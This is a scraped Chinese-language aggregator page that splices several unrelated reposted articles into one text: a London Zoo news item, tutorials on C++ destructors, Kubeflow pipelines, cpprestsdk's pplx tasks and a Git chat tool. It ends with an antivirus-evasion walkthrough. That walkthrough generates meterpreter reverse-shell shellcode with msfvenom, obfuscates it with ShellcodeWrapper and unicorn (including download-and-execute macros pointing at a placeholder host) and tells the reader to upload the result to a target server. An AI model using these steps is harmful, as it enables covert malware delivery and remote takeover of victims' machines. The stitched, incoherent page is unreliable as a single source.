文:矢崎克馬;翻譯、整理:宋瑞文;審稿:上前万由子等
本站聲明:網站內容來源環境資訊中心https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理
【其他文章推薦】
※網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!
※網頁設計公司推薦不同的風格,搶佔消費者視覺第一線
※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整
※南投搬家公司費用,距離,噸數怎麼算?達人教你簡易估價知識!
※教你寫出一流的銷售文案?
※超省錢租車方案
※聚甘新
摘錄自2020年03月26日星島日報報導
英國因應疫情實施禁足令,世界最古老,有近200年歷史的倫敦動物園(London Zoo)也關閉,是自二戰以來首次,園方呼籲各界捐贈,以保護園內大約1.8萬隻動物。
有別於博物館或藝術館,倫敦動物園即使關閉,園內的動物仍有其需要,無論獅子、大猩猩、斑馬和長頸鹿等大型獸類,或是馬達加斯加蟑螂等其他大小動物。
倫敦動物學會營運長表示:「我們通常完全依賴公眾支撐開支,因此若沒有人造訪,就不會有收入。我們必須尋求其他收入來源,讓人們展現對我們的支持並進行捐贈。」她指出:「我們的動物吃得很多,我們必須確保供應鏈能夠繼續,且有高品質食物。無論是源自柯芬園的水果、蔬菜或肉類,我們需要持續的供應。」
本站聲明:網站內容來源環境資訊中心https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理
【其他文章推薦】
※網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!
※網頁設計公司推薦不同的風格,搶佔消費者視覺第一線
※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整
※南投搬家公司費用,距離,噸數怎麼算?達人教你簡易估價知識!
※教你寫出一流的銷售文案?
※超省錢租車方案
※聚甘新
析構函數(Destructors),是對象的成員函數,沒有返回值也沒有參數,且一個類只有一個析構函數,當對象被銷毀的時候調用,被銷毀通常有這麼幾個情況。
編譯器會自動創建默認的析構函數,通常都沒有問題,但是當我們在類中動態分配了內存空間時,我們需要手段的回收這塊空間,防止內存溢出。就像這樣
class String
{
private:
char *s;
int size;
public:
String(char *); // constructor
~String(); // destructor
};
String::String(char *c)
{
size = strlen(c);
s = new char[size+1];
strcpy(s,c);
}
String::~String()
{
delete []s;
}
可以將析構函數的訪問權限設置為private,設置時沒有問題的,但是一個問題就是,通常的手段就沒法調用析構函數了。
如下所示,程序結束后要調用析構函數,但是析構函數時私有的沒法調用,所以會編譯出錯。
#include <iostream>
using namespace std;
class Test {
private:
~Test() {}
};
int main()
{
Test t;
}
以下這樣不會有問題,因為沒有對象被建立,也不用析構
int main()
{
Test* t;
}
以下這樣也不會有問題,因為動態分配的內存需要程序員手段釋放,所以程序結束時沒有釋放內存,也沒有調用析構函數。這裏插一句,動態分配的內存如果不手動釋放,程序結束后也會不會釋放,但是現代操作系統可以幫我們釋放,因為這個動態分配的內存和這個進程有關,操作系統應該可以捕獲到這個泄露的內存從而釋放。(查資料看到的)
int main()
{
Test* t = new Test;
}
如果使用delete來刪除對象,會編譯出錯
int main()
{
Test* t = new Test;
delete t;//編譯出錯,無法調用私有的析構函數
}
可以利用Friend函數,進行對象的銷毀,因為Friend可以訪問私有成員,所以可以訪問析構函數。
#include <iostream>
class Test {
private:
~Test() {}
friend void destructTest(Test*);
};
void destructTest(Test* ptr)
{
delete ptr;
}
int main()
{
Test* ptr = new Test;
destructTest(ptr);
return 0;
}
或者給類寫一個銷毀的方法,在需要銷毀的時候調用。
class Test {
public:
destroy(){delete this};
private:
~Test() {}
};
那麼什麼時候需要使用私有的析構函數呢?當我們只希望動態分配對象空間(在堆上)時候,用私有析構,就防止了在棧上分配,因為在編譯階段就會出錯。
當類用到多態的特性時候,使用虛析構函數。看如下的例子。
#include <iostream>
using namespace std;
class Base
{
public:
Base(){
cout << "Base Constructor Called\n";
}
~Base(){
cout << "Base Destructor called\n";
}
};
class Derived1: public Base
{
public:
Derived1(){
cout << "Derived constructor called\n";
}
~Derived1(){
cout << "Derived destructor called\n";
}
};
int main()
{
Base *b = new Derived1();
delete b;
}
例子里的析構函數都不是虛函數,當我們想用基類的指針來刪除派生類對象的時候,就出現了問題,“undefined behavior”,c++標準里規定,只由編譯器實現,通常這時不會報錯,會調用基類的析構函數。但這應該不是我們想要的,這會導致內存泄漏。所以要把析構函數置為虛函數。(msvc似乎不用給析構函數加virtual,默認就是虛的,gcc沒有默認還是要加的)
另外虛析構函數可以是純虛析構函數,但是要提供函數體,不然沒法析構,因為虛析構函數和一般的虛函數的overide還不一樣,虛析構函數要挨個執行,不提供函數體,會編譯出錯。
派生類,成員對象,基類這樣
class B
{public: virtual ~B(){cout<<"基類B執行了"<<endl; }
};
class D
{public:virtual ~D(){cout<<"成員D執行了"<<endl; }
} ;
class E
{public:virtual ~E(){cout<<"成員E執行了"<<endl; }
} ;
class A
{public:virtual ~A(){cout<<"基類A執行了"<<endl;};
};
class C:public A,B
{
public:virtual ~C(){cout<<"派生類執行了"<<endl;};
private:
E e;
D d;
};
int main()
{
C *c;
c=new C();
delete c;
}
結果為:
本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理
【其他文章推薦】
※網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!
※網頁設計公司推薦不同的風格,搶佔消費者視覺第一線
※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整
※南投搬家公司費用,距離,噸數怎麼算?達人教你簡易估價知識!
※教你寫出一流的銷售文案?
※超省錢租車方案
在此前的文章中,我已經向你介紹了Kubeflow,這是一個為團隊設置的機器學習平台,需要構建機器學習流水線。
在本文中,我們將了解如何採用現有的機器學習詳細並將其變成Kubeflow的機器學習流水線,進而可以部署在Kubernetes上。在進行本次練習的時候,請考慮你該如何將現有的機器學習項目轉換到Kubeflow上。
我將使用Fashion MNIST作為例子,因為在本次練習中模型的複雜性並不是我們需要解決的主要目標。對於這一簡單的例子,我將流水線分為3個階段:
Git clone代碼庫
下載並重新處理訓練和測試數據
訓練評估
當然,你可以根據自己的用例將流水線以任意形式拆分,並且可以隨意擴展流水線。
你可以從Github上獲取代碼:
% git clone https://github.com/benjamintanweihao/kubeflow-mnist.git
以下是我們用來創建流水線的完整清單。實際上,你的代碼很可能跨多個庫和文件。在我們的例子中,我們將代碼分為兩個腳本,preprocessing.py和train.py。
from tensorflow import keras
import argparse
import os
import pickle
def preprocess(data_dir: str):
fashion_mnist = keras.datasets.fashion_mnist
(train_images, train_labels), (test_images, test_labels) = fashion_mnist.load_data()
train_images = train_images / 255.0
test_images = test_images / 255.0
os.makedirs(data_dir, exist_ok=True)
with open(os.path.join(data_dir, 'train_images.pickle'), 'wb') as f:
pickle.dump(train_images, f)
with open(os.path.join(data_dir, 'train_labels.pickle'), 'wb') as f:
pickle.dump(train_labels, f)
with open(os.path.join(data_dir, 'test_images.pickle'), 'wb') as f:
pickle.dump(test_images, f)
with open(os.path.join(data_dir, 'test_labels.pickle'), 'wb') as f:
pickle.dump(test_labels, f)
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Kubeflow MNIST training script')
parser.add_argument('--data_dir', help='path to images and labels.')
args = parser.parse_args()
preprocess(data_dir=args.data_dir)
處理腳本採用單個參數data_dir。它下載並預處理數據,並將pickled版本保存在data_dir中。在生產代碼中,這可能是TFRecords的存儲目錄。
train.py
import calendar
import os
import time
import tensorflow as tf
import pickle
import argparse
from tensorflow import keras
from constants import PROJECT_ROOT
def train(data_dir: str):
# Training
model = keras.Sequential([
keras.layers.Flatten(input_shape=(28, 28)),
keras.layers.Dense(128, activation='relu'),
keras.layers.Dense(10)])
model.compile(optimizer='adam',
loss=tf.keras.losses.SparseCategoricalCrossentropy(from_logits=True),
metrics=['accuracy'])
with open(os.path.join(data_dir, 'train_images.pickle'), 'rb') as f:
train_images = pickle.load(f)
with open(os.path.join(data_dir, 'train_labels.pickle'), 'rb') as f:
train_labels = pickle.load(f)
model.fit(train_images, train_labels, epochs=10)
with open(os.path.join(data_dir, 'test_images.pickle'), 'rb') as f:
test_images = pickle.load(f)
with open(os.path.join(data_dir, 'test_labels.pickle'), 'rb') as f:
test_labels = pickle.load(f)
# Evaluation
test_loss, test_acc = model.evaluate(test_images, test_labels, verbose=2)
print(f'Test Loss: {test_loss}')
print(f'Test Acc: {test_acc}')
# Save model
ts = calendar.timegm(time.gmtime())
model_path = os.path.join(PROJECT_ROOT, f'mnist-{ts}.h5')
tf.saved_model.save(model, model_path)
with open(os.path.join(PROJECT_ROOT, 'output.txt'), 'w') as f:
f.write(model_path)
print(f'Model written to: {model_path}')
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Kubeflow FMNIST training script')
parser.add_argument('--data_dir', help='path to images and labels.')
args = parser.parse_args()
train(data_dir=args.data_dir)
在train.py中,將建立模型,並使用data_dir指定訓練和測試數據的位置。模型訓練完畢並且開始執行評估后,將模型寫入帶有時間戳的路徑。請注意,該路徑也已寫入output.txt。稍後將對此進行引用。
為了開始創建Kubeflow流水線,我們需要拉取一些依賴項。我準備了一個environment.yml,其中包括了kfp 0.5.0、tensorflow以及其他所需的依賴項。
你需要安裝Conda,然後執行以下步驟:
% conda env create -f environment.yml
% source activate kubeflow-mnist
% python preprocessing.py --data_dir=/path/to/data
% python train.py --data_dir=/path/to/data
現在我們來回顧一下我們流水線中的幾個步驟:
Git clone代碼庫
下載並預處理訓練和測試數據
訓練並進行評估
在我們開始寫代碼之前,需要從宏觀上了解Kubeflow流水線。
流水線由連接組件構成。一個組件的輸出成為另一個組件的輸入,每個組件實際上都在容器中執行(在本例中為Docker)。將發生的情況是,我們會執行一個我們稍後將要指定的Docker鏡像,它包含了我們運行preprocessing.py和train.py所需的一切。當然,這兩個階段會有它們的組件。
我們還需要額外的一個鏡像以git clone項目。我們需要將項目bake到Docker鏡像,但在實際項目中,這可能會導致Docker鏡像的大小膨脹。
說到Docker鏡像,我們應該先創建一個。
如果你只是想進行測試,那麼這個步驟不是必須的,因為我已經在Docker Hub上準備了一個鏡像。這是Dockerfile的全貌:
FROM tensorflow/tensorflow:1.14.0-gpu-py3
LABEL MAINTAINER "Benjamin Tan <benjamintanweihao@gmail.com>"
SHELL ["/bin/bash", "-c"]
# Set the locale
RUN echo 'Acquire {http::Pipeline-Depth "0";};' >> /etc/apt/apt.conf
RUN DEBIAN_FRONTEND="noninteractive"
RUN apt-get update && apt-get -y install --no-install-recommends locales && locale-gen en_US.UTF-8
ENV LANG en_US.UTF-8
ENV LANGUAGE en_US:en
ENV LC_ALL en_US.UTF-8
RUN apt-get install -y --no-install-recommends \
wget \
git \
python3-pip \
openssh-client \
python3-setuptools \
google-perftools && \
rm -rf /var/lib/apt/lists/*
# install conda
WORKDIR /tmp
RUN wget --quiet https://repo.anaconda.com/miniconda/Miniconda3-4.7.12-Linux-x86_64.sh -O ~/miniconda.sh && \
/bin/bash ~/miniconda.sh -b -p /opt/conda && \
rm ~/miniconda.sh && \
ln -s /opt/conda/etc/profile.d/conda.sh /etc/profile.d/conda.sh && \
echo ". /opt/conda/etc/profile.d/conda.sh" >> ~/.bashrc
# build conda environments
COPY environment.yml /tmp/kubeflow-mnist/conda/
RUN /opt/conda/bin/conda update -n base -c defaults conda
RUN /opt/conda/bin/conda env create -f /tmp/kubeflow-mnist/conda/environment.yml
RUN /opt/conda/bin/conda clean -afy
# Cleanup
RUN rm -rf /workspace/{nvidia,docker}-examples && rm -rf /usr/local/nvidia-examples && \
rm /tmp/kubeflow-mnist/conda/environment.yml
# switch to the conda environment
RUN echo "conda activate kubeflow-mnist" >> ~/.bashrc
ENV PATH /opt/conda/envs/kubeflow-mnist/bin:$PATH
RUN /opt/conda/bin/activate kubeflow-mnist
# make /bin/sh symlink to bash instead of dash:
RUN echo "dash dash/sh boolean false" | debconf-set-selections && \
DEBIAN_FRONTEND=noninteractive dpkg-reconfigure dash
# Set the new Allocator
ENV LD_PRELOAD /usr/lib/x86_64-linux-gnu/libtcmalloc.so.
關於Dockerfile值得關注的重要一點是Conda環境是否設置完成並準備就緒。要構建鏡像:
% docker build -t your-user-name/kubeflow-mnist . -f Dockerfile
% docker push your-user-name/kubeflow-mnist
那麼,現在讓我們來創建第一個組件!
在pipeline.py中可以找到以下代碼片段。
在這一步中,我們將從遠程的Git代碼庫中執行一個git clone。特別是,我想要向你展示如何從私有倉庫中進行git clone,因為這是大多數企業的項目所在的位置。當然,這也是一個很好的機會來演示Rancher中一個很棒的功能,它能簡單地添加諸如SSH密鑰之類的密鑰。
訪問Rancher界面。在左上角,選擇local,然後選擇二級菜單的Default:
然後,選擇Resources下的Secrets
你應該看到一個密鑰的列表,它們正在被你剛剛選擇的集群所使用。點擊Add Secret:
使用你在下圖中所看到的值來填寫該頁面。如果kubeflow沒有在命名空間欄下展示出來,你可以通過選擇Add to a new namespace並且輸入kubeflow簡單地創建一個。
確保Scope僅是個命名空間。如果將Scope設置為所有命名空間,那麼將使得在Default項目中的任意工作負載都能夠使用你的ssh密鑰。
在Secret Values中,key是id_rsa,值是id_rsa的內容。完成之後,點擊Save。
如果一些進展順利,你將會看到下圖的內容。現在你已經成功地在kubeflow命名空間中添加了你的SSH密鑰,並且無需使用kubectl!
既然我們已經添加了我們的SSH key,那麼是時候回到代碼。我們如何利用新添加的SSH密鑰來訪問私有git倉庫?
def git_clone_darkrai_op(repo_url: str):
volume_op = dsl.VolumeOp(
name="create pipeline volume",
resource_name="pipeline-pvc",
modes=["ReadWriteOnce"],
size="3Gi"
)
image = 'alpine/git:latest'
commands = [
"mkdir ~/.ssh",
"cp /etc/ssh-key/id_rsa ~/.ssh/id_rsa",
"chmod 600 ~/.ssh/id_rsa",
"ssh-keyscan bitbucket.org >> ~/.ssh/known_hosts",
f"git clone {repo_url} {PROJECT_ROOT}",
f"cd {PROJECT_ROOT}"]
op = dsl.ContainerOp(
name='git clone',
image=image,
command=['sh'],
arguments=['-c', ' && '.join(commands)],
container_kwargs={'image_pull_policy': 'IfNotPresent'},
pvolumes={"/workspace": volume_op.volume}
)
# Mount Git Secrets
op.add_volume(V1Volume(name='ssh-key-volume',
secret=V1SecretVolumeSource(secret_name='ssh-key-secret')))
op.add_volume_mount(V1VolumeMount(mount_path='/etc/ssh-key', name='ssh-key-volume', read_only=True))
return op
首先,創建一個Kubernetes volume,預定義大小為3Gi。其次,將image變量指定為我們將要使用的alpine/git Docker鏡像。之後是在Docker容器中執行的命令列表。這些命令實質上是設置SSH密鑰的,以便於流水線可以從私有倉庫git clone,或者使用git://URL來代替 https://。
該函數的核心是下面一行,返回一個dsl.ContainerOp。
command和arguments指定了執行鏡像之後需要執行的命令。
最後一個變量十分有趣,是pvolumes,它是Pipeline Volumes簡稱。它創建一個Kubernetes volume並允許流水線組件來共享單個存儲。該volume被掛載在/workspace上。那麼這個組件要做的就是把倉庫git clone到/workspace中。
再次查看命令和複製SSH密鑰的位置。
流水線volume在哪裡創建呢?當我們將所有組件都整合到一個流水線中時,就會看到創建好的volume。我們在/etc/ssh-key/上安裝secrets:
op.add_volume_mount(V1VolumeMount(mount_path='/etc/ssh-key', name='ssh-key-volume', read_only=True))
請記得我們將secret命名為ssh-key-secret:
op.add_volume(V1Volume(name='ssh-key-volume',
secret=V1SecretVolumeSource(secret_name='ssh-key-secret')))
通過使用相同的volume名稱ssh-key-volume,我們可以把一切綁定在一起。
def preprocess_op(image: str, pvolume: PipelineVolume, data_dir: str):
return dsl.ContainerOp(
name='preprocessing',
image=image,
command=[CONDA_PYTHON_CMD, f"{PROJECT_ROOT}/preprocessing.py"],
arguments=["--data_dir", data_dir],
container_kwargs={'image_pull_policy': 'IfNotPresent'},
pvolumes={"/workspace": pvolume}
)
正如你所看到的, 預處理步驟看起來十分相似。
image指向我們在Step0中創建的Docker鏡像。
這裏的command使用指定的conda python簡單地執行了preprocessing.py腳本。變量data_dir被用於執行preprocessing.py腳本。
在這一步驟中pvolume將在/workspace里有倉庫,這意味着我們所有的腳本在這一階段都是可用的。並且在這一步中預處理數據會存儲在/workspace下的data_dir中。
def train_and_eval_op(image: str, pvolume: PipelineVolume, data_dir: str, ):
return dsl.ContainerOp(
name='training and evaluation',
image=image,
command=[CONDA_PYTHON_CMD, f"{PROJECT_ROOT}/train.py"],
arguments=["--data_dir", data_dir],
file_outputs={'output': f'{PROJECT_ROOT}/output.txt'},
container_kwargs={'image_pull_policy': 'IfNotPresent'},
pvolumes={"/workspace": pvolume}
)
最後,是時候進行訓練和評估這一步驟。這一步唯一的區別在於file_outputs變量。如果我們再次查看train.py,則有以下代碼段:
with open(os.path.join(PROJECT_ROOT, 'output.txt'), 'w') as f:
f.write(model_path)
print(f'Model written to: {model_path}')
我們正在將模型路徑寫入名為output.txt的文本文件中。通常,可以將其發送到下一個流水線組件,在這種情況下,該參數將包含模型的路徑。
要指定流水線,你需要使用dsl.pipeline來註釋流水線功能:
@dsl.pipeline(
name='Fashion MNIST Training Pipeline',
description='Fashion MNIST Training Pipeline to be executed on KubeFlow.'
)
def training_pipeline(image: str = 'benjamintanweihao/kubeflow-mnist',
repo_url: str = 'https://github.com/benjamintanweihao/kubeflow-mnist.git',
data_dir: str = '/workspace'):
git_clone = git_clone_darkrai_op(repo_url=repo_url)
preprocess_data = preprocess_op(image=image,
pvolume=git_clone.pvolume,
data_dir=data_dir)
_training_and_eval = train_and_eval_op(image=image,
pvolume=preprocess_data.pvolume,
data_dir=data_dir)
if __name__ == '__main__':
import kfp.compiler as compiler
compiler.Compiler().compile(training_pipeline, __file__ + '.tar.gz')
還記得流水線組件的輸出是另一個組件的輸入嗎?在這裏,git clone、container_op的pvolume將傳遞到preprocess_cp。
最後一部分將pipeline.py轉換為可執行腳本。最後一步是編譯流水線:
% dsl-compile --py pipeline.py --output pipeline.tar.gz
現在要進行最有趣的部分啦!第一步,上傳流水線。點擊Upload a pipeline:
接下來,填寫Pipeline Name和Pipeline Description,然後選擇Choose file並且指向pipeline.tar.gz以上傳流水線。
下一頁將會展示完整的流水線。我們所看到的是一個流水線的有向無環圖,在本例中這意味着依賴項會通往一個方向並且它不包含循環。點擊藍色按鈕Create run 以開始訓練。
大部分字段已經已經填寫完畢。請注意,Run parameters與使用@ dsl.pipeline註釋的training_pipeline函數中指定的參數相同:
最後,當你點擊藍色的Start按鈕時,整個流水線就開始運轉了!你點擊每個組件並查看日誌就能夠知道發生了什麼。當整個流水線執行完畢時,在所有組件的右方會有一個綠色的確認標誌,如下所示:
如果你從上一篇文章開始就一直在關注,那麼你應該已經安裝了Kubeflow,並且應該能體會到大規模管理機器學習項目的複雜性。
在這篇文章中,我們先介紹了為Kubeflow準備一個機器學習項目的過程,然後是構建一個Kubeflow流水線,最後是使用Kubeflow接口上傳並執行流水線。這種方法的奇妙之處在於,你的機器學習項目可以是簡單的,也可以是複雜的,只要你願意,你就可以使用相同的技術。
因為Kubeflow使用Docker容器作為組件,你可以自由地加入任何你喜歡的工具。而且由於Kubeflow運行在Kubernetes上,你可以讓Kubernetes處理機器學習工作負載的調度。
我們還了解了一個我喜歡的Rancher功能,它十分方便,可以輕鬆添加secrets。立刻,你就可以輕鬆地組織secrets(如SSH密鑰),並選擇將其分配到哪個命名空間,而無需為Base64編碼而煩惱。就像Rancher的應用商店一樣,這些便利性使Kubernetes的工作更加愉快,更不容易出錯。
當然,Rancher提供的服務遠不止這些,我鼓勵你自己去做一些探索。我相信你會偶然發現一些讓你大吃一驚的功能。Rancher作為一個開源的企業級Kubernetes管理平台,Run Kubernetes Everywhere一直是我們的願景和宗旨。開源和無廠商鎖定的特性,可以讓用戶輕鬆地在不同的基礎設施部署和使用Rancher。此外,Rancher極簡的操作體驗也可以讓用戶在不同的場景中利用Rancher提升效率,幫助開發人員專註於創新,而無需在繁瑣的小事中浪費精力。
本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理
【其他文章推薦】
※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益
※別再煩惱如何寫文案,掌握八大原則!
※教你寫出一流的銷售文案?
※超省錢租車方案
※FB行銷專家,教你從零開始的技巧
主要有三部分組成,threadpool,scheduler,task。
三者關係如上圖示,pplx只着重實現了task部分功能,scheduler跟threadpool只是簡略實現。
threadpool主要依賴boost.asio達到跨平台的目標,cpprestsdk的 io操作同時也依賴這個threadpool。
pplx提供了兩個版本的scheduler,分別是
linux_scheduler依賴boost.asio.threadpool。
window_schedule依賴win32 ThreadPool。
默認的scheduler只是簡單地將work投遞到threadpool進行分派。
用戶可以根據自己需要,實現scheduler_interface,提供複雜的調度。
每個task關聯着一個_Task_impl實現體,一個_TaskCollection_t(喚醒事件,後繼任務隊列,這個隊列的任務之間的關係是並列的),還有一個_PPLTaskHandle代碼執行單元。
task,并行執行的單位任務。通過scheduler將代碼執行單元調度到線程去執行。
task提供類似activeobject模式的功能,可以看作是一個future,通過get()同步阻塞等待執行結果。
task提供拓撲模型,通過then()創建後續task,並作為後繼執行任務。注意的是每個task可以接受不限數量的then(),這些後繼任務之間並不串行。例 task().then().then()串行,(task1.then(), task1.then())并行。一個任務在執行完成時,會將結果傳遞給它的所有直接後繼執行任務。
此外,task拓撲除了then()函數外,還可以在執行lambda中添加并行分支,然後可以在後繼任務中同步這些分支。
也就是說後繼任務同步原本task拓撲外的task拓撲才能繼續執行。
1 auto fork0 =
2 task([]()->task<void>{
3 auto fork1 =
4 task([]()->task<void>{ 5 auto fork2 = 6 task([](){ 7 // do your fork2 work 8 9 }); 10 // do your fork1 work 11 12 return fork2; 13 }).then([](task<void>& frk2){ frk2.wait(); }); // will sync fork2 14 // do your fork0 work 15 16 return fork1; 17 }).then([](task<void>& frk1){ frk1.wait(); }); // will sync fork1 18 fork0.wait(); // sync fork1, fork2
上面的方式有一個問題,如果裡層的fork先完成,將不要阻塞線程,但是外層fork先完成就不得不阻塞線程等待內層fork完成。
所以可以用when_all
task<task<void> >([]()->task<void> {
std::vector<task<void> > forks; forks.push_back( task([]() { /* do fork0 work */ }) ); forks.push_back( task([]() { /* do fork1 work */ }) ); forks.push_back( task([]() { /* do fork2 work */ }) ); forks.push_back( task([]() { /* do fork3 work */ }) ); return when_all(std::begin(forks), std::end(forks)); }).then([](task<void> forks){ forks.wait(); }).wait();
通過上面的方式,也可以在lambda中,將其它task拓撲插入到你原來的task拓撲。
在include/cpprest/atreambuf.h實現的_do_while就是這樣一個例子
template<class F, class T = bool>
pplx::task<T> _do_while(F func)
{
pplx::task<T> first = func();
return first.then([=](bool guard) -> pplx::task<T> {
if (guard)
return pplx::details::_do_while<F, T>(func);
else
return first;
});
}
如果func不返回一個false,就會無限地在first.then()這兩任務拓撲結束前,再插入多一個first.then()任務拓撲,無限地順序地執行下去,如loop一樣地進行。
task結束,分兩種情況,完成以及取消。取消執行,只能在執行代碼時通過拋出異常,task並沒有提供取消的接口。任務在執行過程中拋出的異常,就會被task捕捉,並暫存異常,然後取消執行。異常在wait()時重新拋出。下面的時序分析可以看到全過程 。
值得注意的是,PPL中task原本的設計是的有Async與Inline之分的。在_Task_impl_base::_Wait()有一小段註釋說明
// If this task was created from a Windows Runtime async operation, do not attempt to inline it. The
// async operation will take place on a thread in the appropriate apartment Simply wait for the completed
// event to be set.
也就是task除了由scheduler調度到線程池分派執行,還可以強制在wait()函數內分派執行,後繼task也不必再次調度而可以在當前線程繼續分派執行。但是pplx沒有實現
class _TaskCollectionImpl
{
...
void _Cancel() { // No cancellation support } void _RunAndWait() { // No inlining support yet _Wait(); }
現在再來比較 task<_ReturnType> 與 task< task<_ReturnType > >,當一個前驅任務拋出異常中止后,如果前驅任務是task<_ReturnType>的話,後續任務的lambda參數就是_ReturnType,由後續任務執行_Continue時代為執行了前驅任務的get(),這時就會rethrow異常,然後就直接中止後續任務。但是如果後續任務的lambda參數是task<_ReturnType>的話,用戶的lambda就有機會處理前驅任務的錯誤異常。所以就有了 task_from_result<_ReturnType>跟task_from_exception兩個函數,將結果或異常轉化成task,以符合後續任務的lambda的參數要求。
下面是對task的時序分析。
開始的task創建_InitialTaskHandle, 一種只能用於始首的Handle執行單元。
通過then()添加的task,創建_ContinuationTaskHandle,(一種可以入鏈的後繼執行單元),並暫存起來。
當一個任務在線程池中分派結束時,就會將所有通過then()添加到它結尾的後繼任務一次過向scheduler調度出去。
任務只能通過拋出異常從而自己中止執行,task並暫存異常(及錯誤信息)。
後繼任務被調度到線程池繼續分派執行。
這裏順便討論一個開銷,在window版本中,每個task都有一個喚醒事件,使用事件內核對象,都要創建釋放一個內核對象,在高并行任務時,可能會消耗過多內核對象,消耗句柄數。
並且continuation後繼任務,在默認scheduler調度下,不會在同一線程中分派,所有後繼任務都會簡單投遞到線程池。由線程池去決定分派的線程。所以由then()串行起來的任務可能會由不同的線程順序分派,從而產生開銷。因為pplx並沒有實現 Inline功能,所有task都會視作Async重新調度到線程池。
本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理
【其他文章推薦】
※別再煩惱如何寫文案,掌握八大原則!
※網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!
※超省錢租車方案
※教你寫出一流的銷售文案?
※網頁設計最專業,超強功能平台可客製化
Git 是用來做啥的?想必碼農朋友都知道,Git 是版本控制軟件,是軟件開發過程中團隊協作不可或缺的軟件。
但是,作為版本控制軟件的 Git ,能跟聊天工具扯上關係嗎?這二者似乎毫無關係,但腦洞大開的外國朋友 Ephi Gabay 就開發了一個 GIC ,活生生將 Git 改造成了一個聊天工具,有了它你就可以跟女神親密溝通了!
這位哥們是用 Node.js 寫了這麼一個工具,將 Git 改裝成後台數據庫!更詳細的,他其實是把每一句聊天作為 commit 的內容提交到倉庫里!所以,執行 git log 時,可以看到完整的對話過程。想必當年 Linus 怎麼也不會想到,他寫的 Git 會這麼被人改造!
這個項目的地址如下:
https://github.com/ephigabay/GIC
下面良許帶你一步步實現這個騷過程。
因為整個聊天的過程,其實就是不停在提交的過程,所以我們需要創建一個倉庫。這個倉庫,肯定不能是你現在工作用的倉庫,否則你之前的工作過程就全玩完了。
倉庫的創建不難吧?這裏簡單演示一下:
mkdir gitchat
cd gitchat
git init
echo "chat logs" > README
git add README
git commit -m 'fist commit'
既然 GIC 是基於 Git 的,那麼 Git 肯定是需要安裝的。而且 GIC 是使用 Node.js 編寫的,所以需要安裝 nodejs 。後面我們還需要用到 npm 命令,所以我們還需要安裝一個 npm 。
如果是 Ubuntu 平台的話,安裝過程可以使用以下命令:
sudo apt-get install git nodejs npm
如果是其它平台,請參照各自平台的安裝指導手冊。
然後,我們需要將 GIC 這個項目拷到自己的電腦上,如下:
git clone https://github.com/ephigabay/GIC GIC
等 GIC 完整拷備到電腦上后,我們進入到目錄里並安裝一些依賴文件:
cd GIC
npm install
這個安裝過程可能要花費一些時間,靜靜等待即可。
對於 GIC 我們只需要配置第 1 步所建的那個倉庫路徑即可,需要編輯 config.js 文件的 gitRepo 字段:
module.exports = {
gitRepo: '/home/pi/tests/gitchat/.git', #配置你的聊天倉庫路徑
messageCheckInterval: 500,
branchesCheckInterval: 5000
};
在正式開始聊天之前,我們先試一下配置是否正確:
git clone --quiet /home/pi/tests/gitchat/.git > /dev/null
如果上面那步沒報錯的話,說明你所配置的路徑就是正確的。
接下來,我們就可以正式開始和女神聊天了。
開始聊天時,我們可以在 GIC 目錄里使用以下命令啟動聊天:
npm start
之後,你就會看到一個文字版的聊天窗口了。左邊就是聊天內容,右邊是分支。不同的分支就是不同的通道,相當於不同的聊天室,裏面的聊天內容也是不同的。
但是,請注意,如果倉庫里你當前所在的分支是 master 分支,那麼你就不能在這個分支里聊天,要切到其它分支聊天,否則會報錯。
如果要多人聊天的話,每個用戶只需進到 GIC 目錄,然後執行 npm start 命令即可參与聊天。
前面說了,這個聊天的過程其實是依託 git log ,所以我們在 git log 里可以看到完整的聊天記錄:
pi@raspberrypi:~/tests/gitchat $ git log --pretty=format:"%p %cn %s" dev
371a477 evis hao a, wanshange jiu qu!
b6cc4ae alvin yan wo ye hen hao, yao bu yao qu gongyuan zouzou?
7bfea8f evis fine, good, and you?
017d82f alvin yan hello evis, how are you?
alvin yan init commit
有兩種方法:
sudo kill `pgrep npm`
公眾號:良許Linux
本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理
【其他文章推薦】
※教你寫出一流的銷售文案?
※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益
※回頭車貨運收費標準
※別再煩惱如何寫文案,掌握八大原則!
※超省錢租車方案
※產品缺大量曝光嗎?你需要的是一流包裝設計!
選擇了幾個簡單或者近期還有更新的免殺工具進行學習
項目地址
https://github.com/Arno0x/ShellcodeWrapper
該工具的原理是使用異或加密或者aes加密,做到混淆,進行免殺。
先使用msfvenom生成raw格式文件
msfvenom -a x64 -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.2.1 LPORT=4444 -f raw -o shellcode.raw
下面命令mi0 是密碼隨意寫即可。
python shellcode_encoder.py -cpp -cs -py payload/shellcode.raw mi0 xor
會生成3個文件,用C++編譯的cpp文件,用python編譯的py文件和用c#編譯的cs文件
直接丟到vs中把cpp編譯生成exe文件即可,上傳目標服務器。
項目地址
https://github.com/trustedsec/unicorn.git
從github上下載下來就可以運行,使用方法非常簡單
支持生成ps1、macro、hta、dde等形式的代碼和文件
所有類型的使用方法如下
Usage:
python unicorn.py payload reverse_ipaddr port <optional hta or macro, crt>
PS Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443
PS Down/Exec: python unicorn.py windows/download_exec url=http://badurl.com/payload.exe
PS Down/Exec Macro: python unicorn.py windows/download_exec url=http://badurl.com/payload.exe macro
Macro Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 macro
Macro Example CS: python unicorn.py <cobalt_strike_file.cs> cs macro
